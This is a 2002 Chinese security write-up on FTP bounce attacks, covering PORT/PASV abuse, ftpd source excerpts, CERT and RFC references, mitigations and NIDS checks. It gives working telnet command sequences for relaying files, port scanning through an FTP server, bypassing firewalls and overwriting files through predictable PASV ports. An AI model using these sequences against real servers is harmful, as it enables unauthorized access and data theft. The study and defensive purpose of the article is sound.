今天刚刚测试完开头一点,所以贴一下.
作者:scz <
[email protected] >
主页: [url]http://www.nsfocus.com[/url]
日期:2002-01-20
目录:
1. 前言
2. 一个直观的FTP bounce攻击举例
3. 关于上例中所涉及端口的讨论
4. SPARC/Solaris 7缺省携带的FTP Server所存在的问题
5. x86/FreeBSD 4.3-RELEASE缺省携带的FTP Server所存在的问题
6. x86/FreeBSD 4.x中FTP Server的实现
7. CERT对此问题的反应
8. 相关RFC
9. FTP bounce攻击的危害
1) 端口扫描
2) 突破常规防火墙
3) 从限制源IP站点下载敏感信息
4) 与java applet结合突破动态防火墙
10. 解决办法
11. x86/FreeBSD 4.x中FTP Server进入PASV模式后的端口选用
12. FTP Hijacking的可能性
13. proxy命令的使用
14. NIDS对此问题的反应
15. 后记
--------------------------------------------------------------------------
★ 1. 前言
本文主要是对FTP bounce攻击做一积累、总结、回顾式讨论。如果对此已经熟悉,
敬请批评、斧正之。
★ 2. 一个直观的FTP bounce攻击举例
100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
|
+----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
|
+----- 192.168.5.209(SPARC/Solaris 7)
假设192.168.5.201和192.168.5.209都是缺省安装,并且开放FTP Server
在192.168.5.203上做如下操作
--------------------------------------------------------------------------
telnet 192.168.5.201 21
user scz <-- 用户名
pass *** <-- 口令
cwd src <-- 切换到一个相应用户可写目录(可上载目录/home/scz/src)
type i <-- 切换传输模式
pasv <-- server进入被动模式,等待来自client的tcp连接
227 Entering Passive Mode (192,168,5,201,193,3)
^^^^^^^^^^^^^^^^^^^ 注意这段数据
stor out <-- 指定将来保存数据时使用的文件名
--------------------------------------------------------------------------
我所接触的绝大多数FTP Server在命令关键字上(比如user、USER)大小写不敏感,未
查看RFC 959是如何定义的。此时这边产生阻塞,不要动这个窗口。
假设192.168.5.209上存在/export/home/scz/src/in文件
在192.168.5.203上另开一个窗口,做如下操作
--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz <-- 用户名
pass *** <-- 口令
cwd src <-- 切换到/export/home/scz/src
type i <-- 切换传输模式到二进制模式
port 192,168,5,201,193,3
^^^^^^^^^^^^^^^^^^^ 这段数据来自上面那个pasv操作
retr in
quit
--------------------------------------------------------------------------
回到stor out的窗口输入
quit
此时在192.168.5.201上存在/home/scz/src/out文件,来自192.168.5.209上的/expo-
rt/home/scz/src/in文件。数据在192.168.5.201与192.168.5.209之间流动,但控制
完全由192.168.5.203发起,这就是 FTP bounce 攻击的直观解释。
从测试过程可以看出 SPARC/Solaris 7 缺省携带的FTP Server也易遭受 FTP bounce
攻击,不过它对port命令做了一定限制,不允许指定小于1024的特权端口。
受影响的Pi-Soft SpoonFTP版本未对port命令做限制,不但可以指定非client ip,
还可以指定小于1024的特权端口。
★ 3. 关于上例中所涉及端口的讨论
100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
|
+----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
|
+----- 192.168.5.209(SPARC/Solaris 7)
1) 192.168.5.203 --> 192.168.5.201 tcp/21
192.168.5.203 调用connect()连接192.168.5.201的tcp/21,建立第一个ftp控制流,
经过user、pass、cwd、type,最后是pasv命令,指使192.168.5.201在tcp/49411口
上进入listen状态,等待连接请求。
193 * 256 + 3 = 49411
从测试过程可以看出,192.168.5.201(x86/FreeBSD 4.3-RELEASE)的FTP Server进入
被动模式后,未对数据流的client ip做检查,本来从安全角度看应该限制此时数据
流的client ip必须和控制流的client ip一致。
stor命令发出后,192.168.5.201上的FTP Server进入阻塞状态,等待数据流tcp连接。
2) 192.168.5.203 --> 192.168.5.209 tcp/21
192.168.5.203调用connect()连接192.168.5.209的tcp/21,建立第二个ftp控制流,
经过user、pass、cwd、type,然后是port命令,通知192.168.5.209上FTP Server下
次数据流connect()的目标为192.168.5.201的tcp/49411口。
3) 192.168.5.209 tcp/20 --> 192.168.5.201 tcp/49411
向192.168.5.209的FTP Server下达retr in命令后,192.168.5.209将调用connect()
连接192.168.5.201的tcp/49411口,并将本机的in文件内容通过这个tcp连接发送出
去。
此时connect()调用前会先调用bind()调用,指定本机端口为20口。为了确认这点,
可以用tcpdump抓包观察,在192.168.5.201上执行
# /usr/sbin/tcpdump -i fxp0 -netS -s 96 -c 3000 tcp and src port 20 and src host 192.168.5.209
指定接口,取消反向域名解析,显示MAC地址,显示时间戳,显示绝对TCP序列号,
snaplen为96,抓取3000个包,TCP包,源端口20,源IP为192.168.5.209。
★ 4. SPARC/Solaris 7缺省携带的FTP Server所存在的问题
我测试中用到的SPARC/Solaris 7缺省携带的FTP Server未经任何配置,暂时没有2.6
的测试环境,不确认SPARC/Solaris 2.6缺省携带的FTP Server未经任何配置时,是
否也存在该问题,不过我相信是存在的。这个FTP Server在port命令的实现上,
1) 没有限制所指定的IP只能是控制流上的client ip
但是,这个FTP Server
2) 限制所指定的PORT必须是大于等于1024的非特权端口
--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz
pass ***
port 192,168,5,201,0,23
500 PORT argument must be 1024 or greater.
--------------------------------------------------------------------------
★ 5. x86/FreeBSD 4.3-RELEASE缺省携带的FTP Server所存在的问题
这个FTP Server在pasv命令的实现上,
1) 没有限制只允许来自控制流上client ip发起数据流tcp连接请求
这个FTP Server在port命令的实现上,
2) 所指定的IP只能是控制流上的client ip
3) 所指定的PORT必须是大于等于1024的非特权端口
--------------------------------------------------------------------------
telnet 192.168.5.201 21
user scz
pass ***
port 192,168,5,209,0,23
500 Illegal PORT range rejected.
port 192,168,5,203,0,23
500 Illegal PORT range rejected.
port 192,168,5,203,23,23
200 PORT command successful.
--------------------------------------------------------------------------
★ 6. x86/FreeBSD 4.x中FTP Server的实现
backend <
[email protected]>对此做了研究,在文件src/libexec/ftpd/ftpcmd.y
中有一个port_check()函数。/usr/libexec/ftpd的实现利用了yacc工具。
--------------------------------------------------------------------------
/*
* Return 1, if port check is done. Return 0, if not yet.
*/
static int port_check ( const char *pcmd )
{
if ( his_addr.su_family == AF_INET )
{
if ( data_dest.su_family != AF_INET )
{
usedefault = 1;
reply( 500, "Invalid address rejected." );
return( 1 );
}
/*
* 注意这里,做了两个重要判断
*/
if ( paranoid && ( ( ntohs( data_dest.su_port ) < IPPORT_RESERVED )
|| memcmp( &data_dest.su_sin.sin_addr, &his_addr.su_sin.sin_addr,
sizeof( data_dest.su_sin.sin_addr ) ) ) )
{
usedefault = 1;
reply( 500, "Illegal PORT range rejected." );
}
else
{
usedefault = 0;
if ( pdata >= 0 )
{
( void )close( pdata );
pdata = -1;
}
reply( 200, "%s command successful.", pcmd );
}
return( 1 );
}
return( 0 );
} /* end of port_check */
--------------------------------------------------------------------------
显然,这个FTP Server在port命令的实现上做了重要限制
1) 所指定的IP只能是控制流上的client ip
2) 所指定的PORT必须是大于等于1024的非特权端口
任一条件未满足则报错,"Illegal PORT range rejected."
对于FTP Server的被动模式,man -S 8 ftpd,可以看到如下内容
--------------------------------------------------------------------------
-U 旧版本的ftpd在进入PASV模式后,数据流使用的端口(listen)范围是
[1024, 4999]。现在的版本,缺省情况下这个范围是[49152, 65535]。
如果指定-U参数启动ftpd,将使用旧版本的端口范围。
--------------------------------------------------------------------------
★ 7. CERT对此问题的反应
1997.12.10,CERT就此问题发布公告
[url]http://www.cert.org/advisories/CA-1997-27.html[/url]
1999.03.08 做了最后一次修正。
对FTP bounce攻击还可参看
[url]http://www.cert.org/tech_tips/ftp_port_attacks.html[/url]
★ 8. 相关RFC
RFC 959是原始的FTP协议,其中并未对PORT命令的实现做任何限制。是否可以指定小
于1024的特权端口,在RFC 959中没有相应说明。在3.2节中明确指出可以在两台FTP
Server之间传输数据,而控制来自第三方。
换句话说,所谓的FTP bounce攻击是与RFC相兼容的,这是非常具有讽刺意味的一件
事情,也是FTP协议的一个严重安全问题。FTP协议的另一个严重安全问题是用户名与
口令是明文传输的,很容易被监听到。
RFC 1579是"Firewall-Friendly FTP",它对FTP Client的行为做了建议,并不要求
修改FTP Protocol。
RFC 959本来建议"服务器主动模式"下connect()的目标端口为控制流的源端口。但绝
大多数FTP Client没有采纳这个建议,为了避免TIME_WAIT状态带来的麻烦,它们在
一个新的端口上listen(),并通过PORT命令通知FTP Server。这给Firewall的配置带
来了灾难。
★ 9. FTP bounce攻击的危害
1) 端口扫描
攻击者可以假借存在问题的FTP Server做connect()式的端口扫描,最终被扫描对象
看到连接来自FTP Server,而不是原始的攻击者所在IP。
比如192.168.5.201上tcp/3306是开放的,在192.168.5.203上做如下操作
--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz
pass ***
port 192,168,5,201,23,23
200 PORT command successful.
nlst
425 Can't build data connection: Connection refused.
port 192,168,5,201,12,234
200 PORT command successful.
nlst
150 ASCII data connection for /bin/ls (192.168.5.201,3306) (0 bytes).
226 ASCII Transfer complete.
quit
--------------------------------------------------------------------------
如上信息表明192.168.5.201的tcp/3306是可以connect()上的,而tcp/5911未开放。
此时192.168.5.201只知连接来自192.168.5.209,而不知攻击者位于192.168.5.203。
显然某些时候这会危及权限控制,比如IP限制。
2) 突破常规防火墙
假设192.168.5.209和192.168.5.201均位于防火墙内,而192.168.5.203位于防火墙
外,只能直接访问192.168.5.209。192.168.5.201在tcp/8080口上提供了WWW CGI服
务,从192.168.5.203无法直接使用这些CGI服务,从192.168.5.209可以直接使用这
些CGI服务。
通过192.168.5.209做跳板主机,192.168.5.203可以先上载一个适当的符合HTTP协议
的数据文件到192.168.5.209,然后利用FTP bounce攻击将数据文件的内容送往
192.168.5.201的tcp/8080口。
这给内网安全带来隐患。
3) 从限制源IP站点下载敏感信息
比如192.168.5.209上有一些敏感信息因国家政策原因不对192.168.5.203开放,只对
192.168.5.201开放,此外另有一些目录却是world public的。而192.168.5.201本身
是完全world public的。
如果192.168.5.209易受FTP bounce攻击,而192.168.5.201可以进入PASV模式,则可
以利用这点先将敏感信息从192.168.5.209传到192.168.5.201,然后再取回来。
1995年在BugTraq Maillist上由Hobbit指出这个问题。参看
[url]http://cui.unige.ch/eao/www/TechInternet/ftp-attack.html[/url]
该文写得非常精采,不过我觉得不必动用FTP Client,直接telnet <ip> 21进行控制
即可。稍加讨论
a. 作者动用标准FTP Client,所以使用了quote命令,这不是FTP Server命令,而是
FTP Client命令,表示发送原始数据
b. 作者构造了这样一个文件
--------------------------------------------------------------------------
user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
--------------------------------------------------------------------------
如果用telnet直接控制,就可以在retr之后不急于输入quit,这样就不存在控制
流提前结束的问题,因此后续的^@(就是\0)也不必了。
c. 作者用到了一个技巧
--------------------------------------------------------------------------
put instrs
quote "port C,C,C,C,0,21"
quote "retr instrs"
--------------------------------------------------------------------------
port命令指明下次connect()的目标,现在是控制流所用周知口tcp/21。retr命令
将读取本机instrs文件,并将其中的内容通过tcp连接发送出去。在这里就相当于
在控制流上输入了控制命令一样。
如果做一次不需要看到回显数据的"盲"攻击,利用存在问题的FTP Server做端口
转发提交输入,是很有意义的事情。考虑那些IDS、Firewall、ACLs、log等等。
scz注:这个技巧存在一些实际应用上的问题,注意到 21 < 1024,对于
x86/FreeBSD 4.3-RELEASE和SPARC/Solaris 7的缺省FTP Server设置,无
法通过PORT命令指定这样的端口,也就无法利用这个技巧,此时仍然可以
直接telnet <ip> 21进行控制。当然,历史上这样的攻击技巧还是可以成
功利用的。
4) 与java applet结合突破动态防火墙
假设victim位于防火墙内,访问位于防火墙外的attacker所做的WEB页面,其上携
带了一个java applet。这个Java applet将connect()回attacker的tcp/21口,这
没有违背"sand box"原则。
Java applet送回去的是FTP PORT命令,使attacker试图connect()到victim所在
内网一台受保护的主机。
动态包过滤防火墙会检查outbound报文以确定下一步的过滤机制。它注意到PORT
命令,从而允许attacker连接内网的主机,而通常这种连接是不为该防火墙所允
许的。
Martin, David M., Rajagopalan, Sivaramakrishnan, and Rubin, Aviel D.,
在1997年写了一篇<<Blocking Java Applets at the Firewall>>,专门讨论这个
问题,参看
[url]http://avirubin.com/block.java.pdf[/url]
从这里再次可以看出FTP Protocol给Firewall、Proxy实现、配置带来的麻烦。
★ 10. 解决办法
因为所谓"FTP bounce"攻击是RFC 959的规范,要真正解这决这个问题比较棘手。现
在许多厂商允许定制针对FTP Server的反应,有如下一些解决方案
1) FTP Server严格遵循RFC 959,PORT命令本身未做任何限制,转而限制其它网络服
务程序,拒绝源端口为tcp/20的连接请求。
2) 限制PORT命令,只能指定控制流上的client ip
3) 对PORT命令做两种实现,其中一种是缺省设置,可以在二者之间切换。此时要留
意缺省设置是哪种。
4) 限制匿名FTP帐号的写权限,有助于减弱FTP bounce攻击的意义,但无法防止端口
扫描。
5) 谨慎选用Firewall并仔细配置之,像上面那种弱智的对Java applet攻击做出如此
反应的Firewall,应该弃用。
注意,实际上为了解决这个问题,很可能违背了RFC 959。
★ 11. x86/FreeBSD 4.x中FTP Server进入PASV模式后的端口选用
大致看了看src/libexec/ftpd/ftpd.c,FTP Server进入PASV模式后的确没有对源IP
做太多限制。
在文件src/libexec/ftpd/ftpd.c中定义了如下函数passive()
--------------------------------------------------------------------------
void passive ()
{
int len;
char *p, *a;
/*
* close old port if one set
*/
if ( pdata >= 0 )
{
close( pdata );
}
pdata = socket( ctrl_addr.su_family, SOCK_STREAM, 0 );
if ( pdata < 0 )
{
perror_reply( 425, "Can't open passive connection" );
return;
}
( void )seteuid( ( uid_t )0 );
#ifdef IP_PORTRANGE
if ( ctrl_addr.su_family == AF_INET )
{
/*
* case 'U':
* restricted_data_ports = 0;
* break;
*/
int on = restricted_data_ports ? IP_PORTRANGE_HIGH
: IP_PORTRANGE_DEFAULT;
if ( setsockopt( pdata, IPPROTO_IP, IP_PORTRANGE,
( char * )&on, sizeof( on ) ) < 0 )
{
goto pasv_error;
}
}
#endif
pasv_addr = ctrl_addr;
/*
* 注意这里
*/
pasv_addr.su_port = 0;
if ( bind( pdata, ( struct sockaddr * )&pasv_addr, pasv_addr.su_len ) < 0 )
{
goto pasv_error;
}
( void )seteuid( ( uid_t )pw->pw_uid );
len = sizeof( pasv_addr );
if ( getsockname( pdata, ( struct sockaddr * )&pasv_addr, &len ) < 0 )
{
goto pasv_error;
}
/*
* 注意listen()的第二形参是1,不是常见的5,只能顺序单独处理这个socket
* 的连接请求
*/
if ( listen( pdata, 1 ) < 0 )
{
goto pasv_error;
}
if ( pasv_addr.su_family == AF_INET )
{
a = ( char * )&pasv_addr.su_sin.sin_addr;
}
else if ( pasv_addr.su_family == AF_INET6 &&
IN6_IS_ADDR_V4MAPPED( &pasv_addr.su_sin6.sin6_addr ) )
{
a = ( char * )&pasv_addr.su_sin6.sin6_addr.s6_addr[12];
}
else
{
goto pasv_error;
}
p = ( char * )&pasv_addr.su_port;
#define UC(b) (((int) b) & 0xff)
reply( 227, "Entering Passive Mode (%d,%d,%d,%d,%d,%d)",
UC(a[0]), UC(a[1]), UC(a[2]), UC(a[3]), UC(p[0]), UC(p[1]) );
return;
pasv_error:
( void )seteuid( ( uid_t )pw->pw_uid );
( void )close( pdata );
pdata = -1;
perror_reply( 425, "Can't open passive connection" );
return;
} /* end of passive */
--------------------------------------------------------------------------
backend对此函数做了如下补充说明
--------------------------------------------------------------------------
1) 参看/usr/include/netinet/in.h文件
/*
* Argument for IP_PORTRANGE:
* - which range to search when port is unspecified at bind() or connect()
*/
#define IP_PORTRANGE_DEFAULT 0 /* default range */
#define IP_PORTRANGE_HIGH 1 /* "high" - request firewall bypass */
#define IP_PORTRANGE_LOW 2 /* "low" - vouchsafe security */
/*
* Ports < IPPORT_RESERVED are reserved for
* privileged processes (e.g. root). (IP_PORTRANGE_LOW)
* Ports > IPPORT_USERRESERVED are reserved
* for servers, not necessarily privileged. (IP_PORTRANGE_DEFAULT)
*/
#define IPPORT_RESERVED 1024
#define IPPORT_USERRESERVED 5000
/*
* Default local port range to use by setting IP_PORTRANGE_HIGH
*/
#define IPPORT_HIFIRSTAUTO 49152
#define IPPORT_HILASTAUTO 65535
/*
* Scanning for a free reserved port return a value below IPPORT_RESERVED,
* but higher than IPPORT_RESERVEDSTART. Traditionally the start value was
* 512, but that conflicts with some well-known-services that firewalls may
* have a fit if we use.
*/
#define IPPORT_RESERVEDSTART 600
2) 执行如下操作,查看相关可调内核参数
# sysctl -a | grep net.inet.ip.portrange
net.inet.ip.portrange.lowfirst: 1023 <-- 这里太奇怪了,居然1023在前面
net.inet.ip.portrange.lowlast: 600
net.inet.ip.portrange.first: 1024
net.inet.ip.portrange.last: 5000
net.inet.ip.portrange.hifirst: 49152 <-- 可调,但不能小于1024
net.inet.ip.portrange.hilast: 65535
#
3) 在一台x86/FreeBSD 4.3-RELEASE上做如下测试
# sysctl -w net.inet.ip.portrange.hifirst=1024
# sysctl -w net.inet.ip.portrange.hilast=1024
# telnet localhost 21
user backend
pass *******
pasv
227 Entering Passive Mode (127,0,0,1,4,0)
^]
telnet> q
# sysctl -w net.inet.ip.portrange.hifirst=49152
# sysctl -w net.inet.ip.portrange.hilast=65535
4) man -S 8 ftpd
-R 如果设置了该选项,ftpd将不对PORT命令做安全检查,历史上ftpd就是这样实现
的。当前版本的ftpd缺省对PORT命令进行安全检查,只能指定client ip以及大
于1023的非特权端口。这与RFC 959相违背,但防范了某些安全漏洞。
可以修改/etc/inetd.conf中ftpd的设置,kill -HUP <pid of inetd>,然后验证之
# telnet localhost 21
user backend
pass *******
port 192,168,5,8,0,23 <-- 192.168.5.8非localhost,23是特权端口
200 PORT command successful.
^]
telnet> q
#
--------------------------------------------------------------------------
注意这里
pasv_addr.su_port = 0;
FTP Server将选择端口的任务留给了操作系统,没有自己维护这个端口值。但是在我
们的测试过程中发现这个端口基本是顺序加一递增的,也就是说这个端口值可预测。
这构成潜在的安全问题,因为第三方可以连接这个端口,并向之发送任意数据,最终
根据stor命令的指定存入本机文件。stor命令发出后开始accept()。
由于是listen( pdata, 1 ),第二形参是1,后面只调了一次accept()就close()了,
所以这个端口只有一次使用机会。对于GUI的FTP Client,几乎没什么机会给第三方。
但问题潜在存在。
SPARC/Solaris 7中FTP Server进入PASV模式后的端口选用存在同样的问题。
Solaris 7的源码包中存在如下目录cmd/cmd_inet/usr_sbin/in_ftpd/,其下也有类
似的ftpcmd.y和ftpd.c文件,大致看了看,与FreeBSD的实现大同小异,毕竟Sun OS
4.x 是BSD分支上的。
1) 从192.168.5.203执行如下操作
--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz
pass ***
cwd src
type i
pasv
227 Entering Passive Mode (192,168,5,209,130,253)
stor hello
~~~~~~~~~~~~~~~~~~~~ 在这里形成阻塞,不要急于输入quit命令
150 Binary data connection for hello (192.168.5.201,1032).
226 Transfer complete.
quit
221 Goodbye.
Connection closed by foreign host.
--------------------------------------------------------------------------
2) 从192.168.5.201上执行如下操作
--------------------------------------------------------------------------
telnet 192.168.5.209 33533
world
^D
^]
telnet> q
Connection closed.
--------------------------------------------------------------------------
3) 现在可以检查192.168.5.209上的/export/home/scz/src/hello文件
--------------------------------------------------------------------------
[scz@ /export/home/scz/src]> cat hello
world
[scz@ /export/home/scz/src]> od -A x -t x1 hello
0000000 77 6f 72 6c 64 0d 0a 04 0d 0a
000000a
[scz@ /export/home/scz/src]>
--------------------------------------------------------------------------
注意到,192.168.5.209因来自192.168.5.203的FTP请求进入被动模式,却处理了来
自192.168.5.201的数据流。这里没有任何身份验证,用的是控制流所具有的权限。
★ 12. FTP Hijacking的可能性
尽管手工完成这些操作比较不切实际,但是结合"TCP Hijacking"、"IP Spoofing"等
技术,这个安全问题就变得很有价值了。以前不就出现过"FTP Hijacking"的现成工
具软件吗(faint,我收集的被丢到光盘堆里去了,谁手头有,发给我一份吧,thx)。
事实上在FTP bounce攻击中,只需要一台FTP Server,之所以前面举例说明用到了两
台FTP Server,仅仅是捡个现成的,完全可以自己做socket编程。
注意到FTP Server所做的身份验证仅仅发生在USER/PASS过程中,之后的PORT、PASV、
RETR、STOR等命令都再未做任何身份验证,直接使用控制流所具有的用户权限。
让我们简单看看在合法用户登录成功后都能做些什么
1) 结合TCP Hijacking、IP Spoofing在控制流上伪造命令,此时不需要考虑身份验
证了
2) 第三方伪造PORT、RETR命令对非法下载数据
3) 第三方伪造PASV、STOR命令对非法上载数据
4) 第三方预测PASV端口,直接通过数据流非法上载数据,可能造成覆盖。注意,4)
不需要TCP Hijacking,考虑Sniffer技术,然后用程序循环预测PASV端口,一旦
connect()成功(不能做syn半开扫描,前面解释过了,只有一次机会),立即上载
数据形成覆盖。如果合法登录的用户是root,!・#¥%……―*
再次印证root做远程FTP Server登录存在太多安全隐患。
★ 13. proxy命令的使用
在x86/Linux上man ftp,可以看到
--------------------------------------------------------------------------
proxy ftp-command
这条命令允许同时针对两台FTP Server建立两条FTP控制流,并在它们之间传输
文件
proxy get 表示第二台FTP Server扮演Client的角色,从第一台FTP Server下载
文件
proxy put 表示第二台FTP Server扮演Client的角色,向第一台FTP Server上载
文件
为了正常使用这条命令,要求第二台FTP Server支持PASV命令。
scz注:实际上还要求第一台FTP Server完全实现RFC 959,不对PORT命令做限制。
也就是说,只有当第一台FTP Server易受FTP bounce攻击时,proxy命令
才能成功执行。
--------------------------------------------------------------------------
好的,现在让我们看看实际举例,在192.168.5.203上执行如下操作
--------------------------------------------------------------------------
ftp 192.168.5.209
scz <-- 输入192.168.5.209上的用户名
*** <-- 输入192.168.5.209上的口令
binary <-- 切换192.168.5.209上的传输模式
cd src <-- 切换192.168.5.209上的目录
debug <-- 打开调试模式,观察原始命令
proxy open 192.168.5.201
scz <-- 输入192.168.5.201上的用户名
*** <-- 输入192.168.5.201上的口令
proxy binary <-- 切换192.168.5.201上的传输模式
proxy cd src <-- 切换192.168.5.201上的目录
proxy get in out <-- 192.168.5.201从192.168.5.209下载in,存成本地out
proxy close <-- 关闭到192.168.5.201的控制流
bye <-- 关闭到192.168.5.209的控制流
--------------------------------------------------------------------------
由于打开了debug模式,可以看到
--------------------------------------------------------------------------
ftp> proxy get in out
---> PASV
192.168.5.201:227 Entering Passive Mode (192,168,5,201,193,42)
---> PORT 192,168,5,201,193,42
---> RETR in
192.168.5.209:150 Binary data connection for in (192.168.5.201,49450)
---> STOR out
--------------------------------------------------------------------------
现在对proxy命令有了彻底的了解,不再感觉神秘了吧,呵。注意,proxy是
FTP Client命令关键字,不是FTP Server命令关键字,最后是拆解成PASV、STOR、
PORT、RETR这些命令的。
★ 14. NIDS对此问题的反应
网络IDS如果在做内容过滤,可以对FTP控制流中的PORT命令进行解析,检查
1) 指定的IP是否和控制流本身的源IP相符合
2) 指定的端口是否大于等于1024
如果违背其中一条,有两种可能
1) FTP Client在作正常的proxy命令操作。这种需求并不很常见。
2) 攻击者在做FTP bounce攻击。这个可能比较大。
NIDS配置人员可以根据LAN内实际拓扑,决定当NIDS检测到这种异常时是否报警。
★ 15. 后记
RFC 959定义的FTP Protocol存在不少安全问题,本文只简单讨论了其中一部分。这
次没有提供更多测试程序,以后有机会来补充完善这份文档,比如"FTP Hijacking"
那一部分,还有"端口扫描"的程序实现等等。
欢迎对本文批评、斧正。
感谢backend <
[email protected]>和tt <
[email protected]>参与讨论、测试。
<完>